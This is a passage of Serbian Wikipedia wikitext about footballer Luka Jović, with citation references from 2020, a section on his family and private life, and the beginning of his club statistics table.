2020|website=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/situacija-luke-jovica-je-sve-teza-prekretnica-je-sve-blize/352029|title=Situacija Luke Jovića je sve teža, prekretnica je sve bliže|date=2. 3. 2020|accessdate=8. 3. 2020|last=Gligorić|first=Aleksandar|website=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/real-bez-jovica-ide-u-sevilju/352434|title=Real bez Jovića ide u Sevilju|date=7. 3. 2020|accessdate=8. 3. 2020|website=mozzartsport.com}}</ref> <ref>{{Cite news|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2020&mm=03&dd=15&nav_id=1666697|title=Zidan se predomislio – Jović ide iz Real Madrida|date=15. 3. 2020|accessdate=17. 3. 2020|last=S|first=M.|website=[[B92]]}}</ref> <ref>{{Cite news|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2020&mm=05&dd=08&nav_id=1682119|title=Luka Jović slomio stopalo|date=8. 5. 2020|accessdate=8. 5. 2020|last=Đ|first=M.|website=[[B92]]}}</ref> <ref>{{cite web|url=https://www.maxbetsport.rs/otisao-iz-srbije-jovic-u-madridu-video-208599/|title=ZIDAN RAČUNA NA SRBINA Jović u Madridu (VIDEO)|last=Prlina|first=Dejan|publisher=maxbetsport.rs|date=7. 5. 2020|accessdate=9. 5. 2020}}</ref> <ref>{{cite web|url=https://www.maxbetsport.rs/jovicev-otac-svi-smo-u-soku-luka-je-uplasen-208897/|title=JOVIĆEV OTAC: Svi smo u šoku, Luka je uplašen|last=Živančević|first=Boško|publisher=maxbetsport.rs|date=8. 5. 2020|accessdate=9. 5. 2020}}</ref> ---- <ref>{{Cite web|url=https://www.hellomagazin.rs/celebrity-news/luka-jovic-presrecan-zbog-jos-jedne-bebe-sofija-volim-te/|title=Luka Jović presrećan što ponovo postaje otac: Sofija, volim te!|date=21. 3. 2020|accessdate=28. 3. 2020|website=hellomagazin.rs}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/lukin-otac-proveravam-ga-preko-sestre-ona-je-sa-njim-moja-deca-ne-lazu/353436|title=Lukin otac: Proveravam ga preko sestre, ona je sa njim... Moja deca ne lažu|date=19. 3. 2020|accessdate=28. 3. 2020|website=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/nova-poruka-luke-jovica-izvinjavam-se-neki-su-neprofesionalno-radili-posao-nisu-mi-dali-tacne-instrukcije/353458|title=Nova poruka Luke Jovića: Izvinjavam se... Neki su neprofesionalno radili posao, nisu mi dali tačne instrukcije|date=19. 3. 2020|accessdate=28. 3. 2020|website=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/jovic-je-dobio-dozvolu-lekara-za-dolazak-u-beograd-real-madrid-ceka-reakciju-iz-srbije/353443|title=Jović je dobio dozvolu lekara za dolazak u Beograd, Real Madrid čeka reakciju iz Srbije|date=19. 3. 2020|accessdate=28. 3. 2020|website=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/potvrda-iz-policije-krivicna-prijava-za-jednog-naseg-sportistu-odgovarace-pred-sudom/353413|title=Potvrda iz policije: Krivična prijava za jednog našeg sportistu, odgovaraće pred sudom|date=19. 3. 2020|accessdate=28. 3. 2020|website=hellomagazin.rs}}</ref> <ref>{{Cite news|url=https://www.rts.rs/page/sport/ci/story/31/fudbal/3895527/luka-jovic-koronavirus-samoizolacija-prijava.html|title=Luka Jović: Uz dozvolu Reala u Beogradu, dva puta sam testiran|date=19. 3. 2020|accessdate=28. 3. 2020|work=[[Tanjug]]|publisher=[[Radio-televizija Srbije]]}}</ref> <ref>{{Cite news|url=https://insajder.net/sr/sajt/vazno/17371/Tu%C5%BEila%C5%A1tvo-za-Insajder-Prijava-protiv-fudbalera-Luke-Jovi%C4%87a-zbog-kr%C5%A1enja-mere-samoizolacije.htm|title=Tužilaštvo za Insajder: Prijava protiv fudbalera Luke Jovića zbog kršenja mere samoizolacije|date=19. 3. 2020|accessdate=28. 3. 2020|website=[[Insajder]]}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/ima-nade-za-luku-jovica/353729|title=Ima nade za Luku Jovića|date=23. 3. 2020|accessdate=28. 3. 2020|website=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/luka-jovic-izmedu-cetiri-mogucnosti-i-reala-koji-se-za-sve-pita/354098|title=Luka Jović između četiri mogućnosti i Reala koji se za sve pita|date=27. 3. 2020|accessdate=28. 3. 2020|website=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/stiglo-je-i-do-spanije-medijski-linc-luke-jovica-prekrsio-protokol-ignorisao-karantin-sledi-kazna/353431|title=Stiglo je i do Španije, medijski linč Luke Jovića: Prekršio protokol, ignorisao karantin, sledi kazna...|date=19. 3. 2020|accessdate=28. 3. 2020|website=mozzartsport.com}}</ref> <ref>{{Cite web|url=http://zurnal.rs/fudbal/srbi-u-svetu/94596/penal-opasan-po-sebe-i-okolinu|title=PENAL - Opasan po sebe i okolinu|date=21. 3. 2020|accessdate=28. 3. 2020|last=Stojadinović|first=Zoran|website=[[Sportski žurnal]]}}</ref> <ref>{{Cite web|url=http://zurnal.rs/fudbal/reprezentacija/94527/hronologija-uspon-i-pad-luke-jovica|title=HRONOLOGIJA: Uspon i pad Luke Jovića|date=20. 3. 2020|accessdate=28. 3. 2020|website=[[Sportski žurnal]]}}</ref> <ref>{{Cite news|url=https://www.rts.rs/page/sport/ci/story/31/fudbal/3905044/luka-jovic-donirao-50-hiljada-evra-za-respiratore.html|title=Jović donirao 50 hiljada evra za respiratore|date=28. 3. 2020|accessdate=28. 3. 2020|work=[[Tanjug]]|publisher=[[Radio-televizija Srbije]]}}</ref> <ref>{{cite web|url=http://www.zurnal.rs/fudbal/velika-petorka/95016/mesi-najvise-nahvalio-srbina-luka-jovic-je-magican-igrac-koji-nemoguce-cini-mogucim|title=Mesi najviše nahvalio Srbina: Luka Jović je magičan igrač koji nemoguće čini mogućim|website=[[Sportski žurnal]]|date=31. 3. 2020|accessdate=1. 4. 2020}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/rezovi-u-doba-krize-sa-bejlom-sestorica-stranaca-kostali-su-271-000-000-a-samo-trojica-mogu-da-igraju-u-realu/354618|title=Rezovi u doba krize: Sa Bejlom šestorica stranaca, koštali su 271.000.000, a samo trojica mogu da igraju u Realu|date=2. 4. 2020|accessdate=2. 4. 2020|website=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://sport.blic.rs/fudbal/evropski-fudbal/luka-jovic-korona-nove-vesti-fudbalski-transferi-real-madrid-arsenal/3vgg6e2|title=LUKA JOVIĆ SLUŠA I NE VERUJE! Zidan pozvao Srbina, a onda je usledila vest koja bi mogla da mu PROMENI ŽIVOT|date=5. 4. 2020|accessdate=7. 4. 2020|last=Nikolić|first=Darko|website=[[Blic (novine)|Blic]]}}</ref> <ref>{{Cite web|url=https://sport.blic.rs/fudbal/evropski-fudbal/real-madrid-smanjuje-plate-igracima-luka-jovic/l3zjxtr|title=REAL U KRIZI KAKVA SE NE PAMTI Luka Jović ostaje bez BOGATSTVA, "kraljevski klub" smanjio platu Srbinu|date=6. 4. 2020|accessdate=7. 4. 2020|last=Knežević|first=Aleksandar|website=[[Blic (novine)|Blic]]}}</ref> <ref>{{Cite web|url=https://www.hellomagazin.rs/celebrity-news/luka-jovic-prelepo-iznenadenje-za-trudnu-sofiju/|title=Luka Jović: Prelepo iznenađenje za trudnu Sofiju|date=4. 4. 2020|accessdate=7. 4. 2020|website=hellomagazin.rs}}</ref> <ref>{{Cite web|url=http://www.politika.rs/scc/clanak/451076/Sport/Luka-Jovic-poklonio-50-hiljada-evra-za-respiratore|title=Luka Jović poklonio 50 hiljada evra za respiratore|date=28. 3. 2020|accessdate=7. 4. 2020|website=[[Politika (novine)|Politika]]}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/luka-zeli-da-uspe-u-realu-i-da-se-u-madridu-pamti-njegovo-ime/355833|title=Luka želi da uspe u Realu i da se u Madridu pamti njegovo ime|date=17. 4. 2020|accessdate=19. 4. 2020|website=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://nova.rs/hronika/stigle-krivicne-prijave-protiv-fudbalera-jovica-i-ninkovica/|title=Stigle krivične prijave protiv fudbalera Jovića i Ninkovića|date=14. 4. 2020|accessdate=19. 4. 2020|last=Milovanović|first=Tanja|website=[[Nova S]]}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/zasto-barselona-nije-kupila-luku-jovica/357973|title=Zašto Barselona nije kupila Luku Jovića?|date=25. 5. 2020|accessdate=25. 5. 2020|website=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/povratak-luka-jovic-na-spisku-igraca-za-hetafe/360668|title=Povratak! Luka Jović na spisku igrača za Hetafe|date=1. 7. 2020|accessdate=1. 7. 2020|website=mozzartsport.com}}</ref> <ref>{{Cite news|url=https://www.rts.rs/page/sport/ci/story/31/fudbal/4012107/luka-jovic-samoizolacija-koronavirus.html|title=Ništa od šanse u nastavku - Jović ponovo u samoizolaciji|date=8. 7. 2020|accessdate=9. 7. 2020|work=[[Tanjug]]|publisher=[[Radio-televizija Srbije]]}}</ref> <ref>{{Cite news|url=https://www.maxbetsport.rs/luka-jovic-precrtan-221277/|title=Luka Jović – precrtan!|date=9. 7. 2020|accessdate=9. 7. 2020|last=Milićević|first=Strahinja|publisher=maxbetsport.rs}}</ref> <ref>{{Cite news|url=https://www.mozzartsport.com/fudbal/vesti/novi-preokret-%E2%80%93-zidan-racunamo-na-jovica-za-sledecu-sezonu/361277|title=Novi preokret – Zidan: Računamo na Jovića za sledeću sezonu|date=9. 7. 2020|accessdate=9. 7. 2020|publisher=mozzartsport.com}}</ref> <ref>{{Cite news|url=https://www.mozzartsport.com/fudbal/vesti/jovic-ponovo-na-realovim-treninzima/361650|title=Jović ponovo na Realovim treninzima|date=14. 7. 2020|accessdate=14. 7. 2020|publisher=mozzartsport.com}}</ref> <ref>{{Cite web|url=https://www.rts.rs/page/sport/ci/story/31/fudbal/4022969/luka-jovic-real-madrid-leganes-la-liga.html|title=Jović umalo tragičar, Hetafe ostao bez Evrope|date=19. 7. 2020|accessdate=22. 7. 2020|publisher=[[Radio-televizija Srbije]]}}</ref> <ref>{{Cite web|url=https://www.rts.rs/page/sport/ci/story/31/fudbal/4023331/zidan-jovic-real-naredna-sezona.html|title=Zidan: Verujem Joviću, ostaje u Realu i naredne sezone|date=20. 7. 2020|accessdate=22. 7. 2020|work=[[Tanjug]]|publisher=[[Radio-televizija Srbije]]}}</ref> <ref>{{Cite news|url=https://www.mozzartsport.com/fudbal/vesti/jovic-grizman-i-feliks-u-timu-najvecih-razocaranja-la-lige-zasto-nema-azara/362131|title=Jović, Grizman i Feliks u timu najvećih razočaranja La Lige, zašto nema Azara?|date=20. 7. 2020|accessdate=22. 7. 2020|publisher=mozzartsport.com}}</ref> <ref>{{Cite news|url=https://www.maxbetsport.rs/spanci-ponovo-udaraju-jovic-najgore-pojacanje-sezone-223240/|title=ŠPANCI PONOVO UDARAJU Jović najgore pojačanje sezone!|date=20. 7. 2020|accessdate=22. 7. 2020|last=Živančević|first=Boško|publisher=maxbetsport.rs}}</ref> <ref>{{Cite news|url=https://www.maxbetsport.rs/ko-vise-zasluzuje-devetku-srbije-ogromna-razlika-izmedju-mitrovica-i-jovica-foto-230856/|title=KO VIŠE ZASLUŽUJE “DEVETKU” SRBIJE? Ogromna razlika između Mitrovića i Jovića (FOTO)|date=28. 8. 2020|accessdate=28. 8. 2020|last=Milićević|first=Strahinja|publisher=maxbetsport.rs}}</ref> <ref>{{Cite news|url=https://www.maxbetsport.rs/potvrdjeno-milinkovic-savic-i-jovic-ne-igraju-za-orlove-230869/|title=POTVRĐENO Milinković-Savić i Jović ne igraju za “orlove”|date=28. 8. 2020|accessdate=28. 8. 2020|last=Milićević|first=Strahinja|publisher=maxbetsport.rs}}</ref> <ref>{{cite news|url=https://www.maxbetsport.rs/sta-je-sa-osvezenjem-tima-tumbakovicu-pogledaj-jednog-igraca-u-francuskoj-233738/|title=ŠTA JE SA OSVEŽENJEM TIMA? Tumbakoviću, pogledaj jednog igrača u Francuskoj…|last=Marković|first=Mirko|publisher=maxbetsport.rs|date=13. 9. 2020|accessdate=13. 8. 2020}}</ref> <ref>{{Cite news|url=http://zurnal.rs/fudbal/velika-petorka/102682/nula-real-madrida-luka-jovic-ostao-na-klupi-video|title=Nula Real Madrida, Luka Jović ostao na klupi (VIDEO)|date=20. 9. 2020|accessdate=23. 9. 2020|publisher=[[Sportski žurnal]]}}</ref> <ref>{{cite news|url=https://www.maxbetsport.rs/da-li-je-ovo-poslednja-sansa-jovic-u-startnoj-postavi-reala-u-sevilji-236248/|title=DA LI JE OVO POSLEDNJA ŠANSA? Jović u startnoj postavi Reala u Sevilji|last=Živančević|first=Boško|publisher=maxbetsport.rs|date=26. 9. 2020|accessdate=27. 9. 2020}}</ref> <ref>{{cite news|url=https://www.maxbetsport.rs/real-sa-penala-slavio-u-sevilji-jovic-iznudio-crveni-karton-video-236253/|title=Real sa penala slavio u Sevilji, Jović iznudio crveni karton (VIDEO)|last=Živančević|first=Boško|publisher=maxbetsport.rs|date=26. 9. 2020|accessdate=27. 9. 2020}}</ref> <ref>{{cite news|url=https://www.maxbetsport.rs/papreno-luda-racunica-evo-koliko-reala-stvarno-kostaju-jovic-i-azar-249607/|title=PAPRENO Luda računica – evo koliko Reala stvarno koštaju Jović i Azar|last=Prlina|first=Dejan|publisher=maxbetsport.rs|date=2. 12. 2020|accessdate=3. 12. 2020}}</ref> <ref>{{cite news|url=https://www.maxbetsport.rs/da-li-je-ovo-znak-da-treba-da-promeni-sredinu-jovic-opet-grejao-klupu-reala-254288/|title=DA LI JE OVO ZNAK DA TREBA DA PROMENI SREDINU? Jović opet “grejao klupu” Reala|last=Đurović|first=Radomir|publisher=maxbetsport.rs|date=23. 12. 2020|accessdate=24. 12. 2020}}</ref> --> == Privatno == Luka Jović je rođen kao mlađe dete u porodici Sofije i Milana Jovića.<ref>{{Cite web|url=https://lifebogger.com/bs/luka-jovic-pri%C4%8Da-o-djetinjstvu-plus-neispri%C4%8Dane-%C4%8Dinjenice-o-biografiji/|last=Ivanović|first=Veljko|title=Luka Jović Priča o djetinjstvu plus nepoznata biografija Činjenice|date=19. 5. 2019|accessdate=5. 12. 2019|publisher=lifebogger.com|language=bs|archive-date=2020-09-29|archive-url=https://web.archive.org/web/20200929140826/https://lifebogger.com/bs/luka-jovic-pri%C4%8Da-o-djetinjstvu-plus-neispri%C4%8Dane-%C4%8Dinjenice-o-biografiji/}}</ref> Kako je njegovo selo, [[Batar (Bijeljina)|Batar]], od [[Bijeljina|Bijeljine]] kojoj pripada, udaljeno 17 kilometara, na svet je došao u [[Loznica|Loznici]]. Iako se taj grad nalazi sa druge strane reke [[Drina|Drine]], u Srbiji, bliži je mestu gde je fudbaler odrastao.{{efn|name=rul}} Usled ratnih sukoba na prostoru [[Rat u Bosni i Hercegovini|Bosne i Hercegovine]] i [[Raspad Jugoslavije|Raspada Jugoslavije]], njegov otac, koji se amaterski bavio fudbalom, nije se profesionalno ostvario u tom sportu. On se starao se o Lukinom fudbalskom razvoju, redovno ga vozio na utakmice u Beograd i u svojstvu pravnog zastupnika potpisivao ugovore dok je Luka bio maloletan. Na svojim fudbalskim počecima u ''Mini maksi ligi'', Jović je bio plaćen 50 evra po utakmici, uz dodatak od 2000 dinara za troškove do Loznice, gde su se događaji održavali.<ref name="Malac"/> Uz to, zbog zdravstvenih problema koje je u to vreme pretrpela njegova sestra, Jović je kao dete pomagao dedi u poslovima na njivi.<ref name="IspovestLJ">{{Cite web|url=https://mozzartsport.com/fudbal/vesti/ispovest-luke-jovica-fudbalski-pocetak-porodicni-problemi-ljubav-prema-zvezdi-suze-u-lisabonu-i-preporod-u-frankfurtu/332579|title=Ispovest Luke Jovića: Fudbalski početak, porodični problemi, ljubav prema Zvezdi, suze u Lisabonu i preporod u Frankfurtu|date=15. 7. 2019|accessdate=2. 12. 2019|website=mozzartsport.com}}</ref> Jovići su izrazili zahvalnost [[Savo Milošević|Savu Miloševiću]], rođaku iz Bijeljine, koji im je pružio finansijsku i organizacionu podršku u tim trenucima, kao i kasnije, tokom Lukinog Razvoja.<ref>{{Cite web|url=https://sport.blic.rs/fudbal/evropski-fudbal/zbog-bolesne-sestre-radio-na-njivi-luka-jovic-za-blicsport-o-bravurama-u-ajntrahtu/shw53w9|last=Ivanović|first=Veljko|title=ZBOG BOLESNE SESTRE RADIO NA NJIVI Luka Jović za Blicsport o bravurama u Ajntrahtu: Ustao sam iz mrtvih|date=21. 2. 2018|accessdate=5. 12. 2019|publisher=[[Blic (novine)|Blic]]}}</ref> Do prelaska u Beograd, Jović je više puta nedeljno putovao u rodnu Loznicu, gde je individualno trenirao sa trenerom Pavlom Jeftićem, sa kojim je izgradio prijateljski odnos i ostao u kontaktu kada je postao profesionalac.<ref name="Čika*Paja">{{Cite web|url=https://www.sportskevesti.rs/trener-koji-ume-da-prenese-znanje-pavle-jeftic-je-za-vrsnog-fudbalera-luku-jovica-jos-kada-je-bio-decacic-rekao-da-ce-biti-nas-reprezentativac/|title=TRENER PAJA UME TALENAT DA UOČI Za fudbalera Luku Jovića još kada je bio dečačić Pavle Jeftić tvrdio da će biti naš reprezentativac|date=21. 3. 2019|accessdate=2. 12. 2019|last=Mitrović|first=D.|website=sportskevesti.rs|archive-date=19. 08. 2019|archive-url=https://web.archive.org/web/20190819180901/http://www.sportskevesti.rs/trener-koji-ume-da-prenese-znanje-pavle-jeftic-je-za-vrsnog-fudbalera-luku-jovica-jos-kada-je-bio-decacic-rekao-da-ce-biti-nas-reprezentativac/|url-status=}}</ref> Sredinom novembra 2015, prema pisanju ''[[Blic (novine)|Blica]]'', reketaš iz okoline Loznice, uputio je pretnje Milanu Joviću, da će polomiti noge njegovom sinu, ukoliko ne dobije tražena sredstva.<ref>{{Cite web|url=https://www.blic.rs/vesti/hronika/reketas-pretio-da-ce-luki-jovicu-da-polomi-noge/d9cq2rz|last=Milošević|first=Miljan|title=Reketaš pretio da će Luki Joviću da polomi noge|date=16. 11. 2015|accessdate=7. 12. 2019|website=[[Blic (novine)|Blic]]}}</ref> Isti izvor navodi da su osobe bliske uhapšenom, u čiju se umešanost sumnjalo, negirale postojanje bilo kakvih pretnji, kao i da su kontakti sa Jovićem bili povezani sa iznudom novca.<ref>{{Cite web|url=https://www.blic.rs/vesti/hronika/zaplet-u-istrazi-oko-pretnji-igracu-zvezde/lh6czf6|last=A. Adžić|first=Ana|title=Zaplet u istrazi oko pretnji igraču Zvezde|date=17. 11. 2015|accessdate=7. 12. 2019|website=[[Blic (novine)|Blic]]}}</ref> Prema pisanju medija, Jović je [[27. decembar|27. decembra]] 2018. učestvovao u [[Saobraćajna nezgoda|saobraćajnom udesu]], koji se dogodio na magistralnom putu koji povezuje Bijeljinu i [[Zvornik]]. Tom prilikom nije bilo teže povređenih, a vozila su pretrpela materijalnu štetu.<ref>{{Cite web|url=https://fudbal.hotsport.rs/2018/12/29/vesti-iz-bijeljine-luka-jvic-doziveo-saobracajku-jeziv-prizor-smrskanih-automobila-foto/|title=VESTI IZ BIJELJINE: Luka Jović doživeo saobraćajku, jeziv prizor smrskanih automobila (FOTO)|date=29. 12. 2018|accessdate=6. 12. 2019|last=Lazić|first=Nemanja|website=hotsport.rs}}{{Dead link|date=September 2024 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> Krajem februara 2019. godine, Jović je sa svojom bivšom devojkom, Anđelom Manitašević, dobio sina.<ref>{{Cite web|url=https://www.kurir.rs/sport/fudbal/3210683/mladi-napadac-postao-otac-luka-jovic-dobio-sina|title=MLADI NAPADAČ POSTAO OTAC: Luka Jović dobio sina!|date=24. 2. 2019|accessdate=6. 12. 2019|last=B|first=M.|website=[[Kurir (novine)|Kurir]]}}</ref> Detetu su dali ime David.<ref>{{Cite web|url=https://sport.blic.rs/fudbal/evropski-fudbal/luka-jovic-sin-ime-fk-ajntraht-reprezentacija-srbije/0cyrnbq|title=Luka Jović sa 22 GODINE postao otac, dao sinu IME IZ DAVNINA, a sada prvi put objavio fotografiju sa njim|date=4. 4. 2019|accessdate=6. 12. 2019|last=Nikolić|first=Darko|website=[[Blic (novine)|Blic]]}}</ref> Na jesen iste godine, mediji su objavili da je Jović otpočeo vezu sa manekenkom [[Sofija Milošević|Sofijom Milošević]].<ref>{{Cite web|url=https://www.vesti-online.com/luka-jovic-vara-devojku-sa-kojom-ima-bebu-u-tajnoj-vezi-sa-ovom-manekenkom/|title=Luka Jović vara devojku sa kojom ima bebu?! U tajnoj vezi sa ovom manekenkom?|date=3. 10. 2019|accessdate=6. 12. 2019|website=[[Vesti (novine)|Vesti onlajn]]}}</ref><ref>{{Cite web|url=https://www.tvarenasport.com/vesti/fudbal/luka-jovic-pokusao-da-smuva-duplo-stariju-daru-bubamaru-ne-poznajem-ga-2019-10-30|title=Luka Jović pokušao da smuva duplo stariju Daru Bubamaru? "Ne poznajem ga"|date=30. 10. 2019|accessdate=6. 12. 2019|work=[[Informer]]|publisher=[[Arena sport]]}}</ref><ref>{{Cite web|url=https://www.srbijadanas.com/sport/trece-poluvreme/ne-moze-da-se-okane-od-nje-luka-tvrdi-da-je-rasinuo-sa-sofijom-ovo-je-dokaz-da-je-ponovo-prespavao-2019-12-03|title=NE MOŽE DA SE OKANE OD NJE: Luka tvrdi da je RASKINUO sa Sofijom, a OVO je DOKAZ da je ponovo PRESPAVAO u njenom stanu|date=3. 12. 2019|accessdate=6. 12. 2019|publisher=srbijadanas.com}}</ref> Par se verio naredne godine i imaju dva sina, Alekseja i Teodora.<ref>{{Cite web|url=https://stil.kurir.rs/ljubav/190441/devojka-sa-kojom-je-luka-jovic-bio-pre-sofije|title=Luka Jović pre Sofije voleo je ovu lepoticu: Dugo se šuškalo da ju je prevario sa manekenkom, a ovo je prava istina|date=21. 11. 2022|accessdate=26. 11. 2022|publisher=stil.kurir.rs}}</ref> Luka i njegova porodica ostali su u dobrim odnosima sa njegovom bivšom devojkom.<ref>{{Cite web|url=https://www.telegraf.rs/jetset/vesti-jetset/3127945-luka-jovic-i-sofija-milosevic-raskinuli-fudbaler-potvrdio-da-vise-nema-devojku|title=Luka Jović i Sofija Milošević raskinuli: Fudbaler potvrdio da više ne ljubi manekenku|date=1. 12. 2019|accessdate=2. 12. 2019|website=[[Telegraf.rs|Telegraf]]}}</ref><ref>{{Cite web|url=https://www.blic.rs/zabava/luka-jovic-sestra-milijana-sofija-milosevic-raskid/51jdnb7|title=Sestra Luke Jovića je STUDENTKINJA, obožava njegovog sina, a Sofija Milošević prati svaki njen korak uprkos RASKIDU sa fudbalerom|date=2. 12. 2019|accessdate=6. 12. 2019|last=J|first=F.|website=[[Blic (novine)|Blic]]}}</ref><ref>{{Cite web|url=https://www.blic.rs/zabava/luka-jovic-bivsa-andjela-manitasevic-sin-david/ngy3yq2|title=U JEKU RASKIDA SA SOFIJOM Bivša devojka Luke Jovića i dalje čuva jednu njegovu fotku i to BAŠ OVU - prizor je prelep|date=3. 12. 2019|accessdate=6. 12. 2019|last=J|first=F.|website=[[Blic (novine)|Blic]]}}</ref> == Statistika == === Klupska === {{Updated|8. januara 2020.}}<ref name="TM">{{transfermarkt|accessdate=15. 3. 2019}}</ref> <center> {| class="wikitable" style="text-align:center;font-size:95%" |+ <small> Utakmice i golovi prikazani prema klubu, sezoni i takmičenju </small> |- !rowspan="2"|Klub !rowspan="2"|Sezona !colspan="3"|Liga !colspan="2"|Nacionalni kup !colspan="2"|Liga kup !colspan="2"|Evropa !colspan="2"|Ostalo !colspan="2"|Ukupno |- !Divizija!!Nastupa!!Golova!!Nastupa!!Golova!!Nastupa!!Golova!!Nastupa!!Golova!!Nastupa!!Golova!!Nastupa!!Golova |- bgcolor=grey | colspan=15 | |- |rowspan="4"|[[FK Crvena zvezda|Crvena zvezda]] |[[Superliga Srbije u fudbalu 2013/14.|2013/14.]]<ref name="Voša*Zvezda"/> |rowspan="3"|[[Superliga Srbije u fudbalu|Superliga Srbije]] |1||1||0||0||colspan="2"|—||colspan="2"|—||colspan="2"|—||1||1 |- |[[Superliga Srbije u fudbalu 2014/15.|2014/15.]]<ref>{{cite web|url=http://superliga.rs/index.php/klubovi/crvena-zvezda/igracki-kadar|title=FK Crvena Zvezda - Igrački kadar|website=Superliga Srbije u fudbalu, zvanična prezentacija|accessdate=2. 12. 2019|url-status=dead|archiveurl=https://web.archive.org/web/20150322114411/http://superliga.rs/index.php/klubovi/crvena-zvezda/igracki-kadar|archivedate=22. 3. 2015}}</ref> |22||6||2||0||colspan="2"|—||colspan="2"|—||colspan="2"|—||24||6 |- |[[Superliga Srbije u fudbalu 2015/16.|2015/16.]]<ref>{{cite web|url=http://superliga.rs/index.php/klubovi/crvena-zvezda/igracki-kadar|title=FK Crvena Zvezda - Igrački kadar|website=Superliga Srbije u fudbalu, zvanična prezentacija|accessdate=2. 12. 2019|url-status=dead|archiveurl=https://web.archive.org/web/20150805074014/http://superliga.rs/index.php/klubovi/crvena-zvezda/igracki-kadar|archivedate=5. 8. 2015}}</ref> |19||5||2||1||colspan="2"|—||2{{efn|Odnosi se na utakmice prvog kola [[UEFA liga Evrope 2015/16.#Prvo kolo kvalifikacija|kvalifikacija]] za [[UEFA Liga Evrope|Ligu Evrope]], protiv [[kazahstan]]skog [[FK Kairat|Kairata]].<ref name="Kairat1"/><ref name="Kairat2"/><ref name="Kairat3"/>|name=kle}}||0||colspan="2"|—||23||6 |- !colspan="2"|Ukupno !42!!12!!4!!1!!colspan="2"|—!!2!!0!!colspan="2"|—!!48!!13 |- bgcolor=grey | colspan=15 | |- |rowspan="3"|Benfika B |2015/16.<ref name="FDJ">{{cite web|url=https://www.foradejogo.net/player.php?player=199712233005071|title=Luka Jovic|language=pt|publisher=foradejogo.net|accessdate=2. 12. 2019|archive-date=09. 08. 2016|archive-url=https://web.archive.org/web/20160809062148/http://www.foradejogo.net/player.php?player=199712233005071|url-status=}}</ref> |rowspan="2"|[[Druga liga Portugalije u fudbalu|Druga liga Portugalije]] |7||2||colspan="2"|—||colspan="2"|—||colspan="2"|—||colspan="2"|—||7||2 |- |2016/17.<ref name="FDJ"/> |11||2||colspan="2"|—||colspan="2"|—||colspan="2"|—||colspan="2"|—||11||2 |- !colspan="2"|Ukupno !18!!4!!colspan="2"|—!!colspan="2"|—!!colspan="2"|—!!colspan="2"|—!!18!!4 |- bgcolor=grey | colspan=15 | |- |rowspan="3"|[[FK Benfika|Benfika]] |2015/16.<ref name="FDJ"/> |rowspan="2"|[[Prva liga Portugalije u fudbalu|Prva liga Portugalije]] |1||0||0||0||0||0||1{{efn|Odnosi se na revanš susret [[Liga šampiona 2015/16.#Četvrtfinale|četvrtine finala]] Lige Šampiona, protiv [[minhen]]skog [[FK Bajern Minhen|Bajerna]].<ref name="Bajern22"/>|name=bmq}}||0||0||0||2||0 |- |2016/17.<ref name="FDJ"/> |1||0||0||0||1||0||colspan="2"|—{{efn|Jović nije bio na spisku licenciranih igrača za Ligu šampiona, tokom takmičarske [[Liga šampiona 2016/17.|2016/17]].<ref name="NijezaLŠ"/>|name=ncl}}||0||0||2||0 |- !colspan="2"|Ukupno !2!!0!!0!!0!!1!!0!!1!!0!!0!!0!!4!!0 |- bgcolor=grey | colspan=15 | |- |rowspan="3" |[[FK Ajntraht Frankfurt|Ajntraht Frankfurt]]<br>(pozajmica)<br /> |2017/18.<ref>{{cite web|title=Luka Jović — 2017/18.|url=https://www.kicker.de/jovic-luka-84809/spieler/1-bundesliga/2017-18/eintracht-frankfurt-32|website=kicker.de|accessdate=2. 12. 2019|language=de}}</ref> |rowspan="2"|[[Bundesliga Njemačke u fudbalu|Bundesliga Nemačke]] |22||8||5||1||colspan="2"|—||colspan="2"|—||colspan="2"|—||27||9 |- |2018/19.<ref>{{cite web|title=Luka Jović — 2018/19.|url=https://www.kicker.de/jovic-luka-84809/spieler/1-bundesliga/2018-19/eintracht-frankfurt-32|website=kicker.de|accessdate=2. 12. 2019|language=de}}</ref> |32{{efn|Ajntraht je 17. aprila 2019. godine otkupio ugovor Luke Jovića.<ref name="AjntrahtKupio"/>|name=zoo}}||17||1||0||colspan="2"|—||14{{efn|Sve utakmice odigrane su u okviru [[UEFA Liga Evrope 2018/19.|Lige Evrope]].<ref name="whoscored">{{cite web|url=https://www.whoscored.com/Players/315755/Show/Luka-Jovic|title=Luka Jovic|language=en|website=whoscored.com|accessdate=13. 12. 2019}}</ref>|name=uel}}||10||1{{efn|Odnosi se na susret [[Superkup Nemačke u fudbalu 2018.|Superkupa Nemačke]], protiv [[minhen]]skog [[FK Bajern Minhen|Bajerna]], [[12. avgust]]a 2018. Jović je tada u igru ušao umesto [[Sebastijen Ale|Sebastijena Alea]] u 76. minutu, pri vođstvu protivničkog tima od 4 : 0.<ref name="DFB-SuperPokal"/>|name=skn}}||0||48||27 |- !colspan="2"|Ukupno !54!!25!!6!!1!!colspan="2"|—!!14!!10!!1!!0!!75!!36 |- bgcolor=grey | colspan=15 | |- |[[FK Real Madrid|Real Madrid]] |2019/20.<ref name="BD">{{cite web|url=https://www.bdfutbol.com/en/j/j70071.html|title=Luka Jović|language=es|publisher=bdfutbol.com|accessdate=2. 12. 2019}}</ref> |[[Prva liga Španije u fudbalu|Prva liga Španije]] 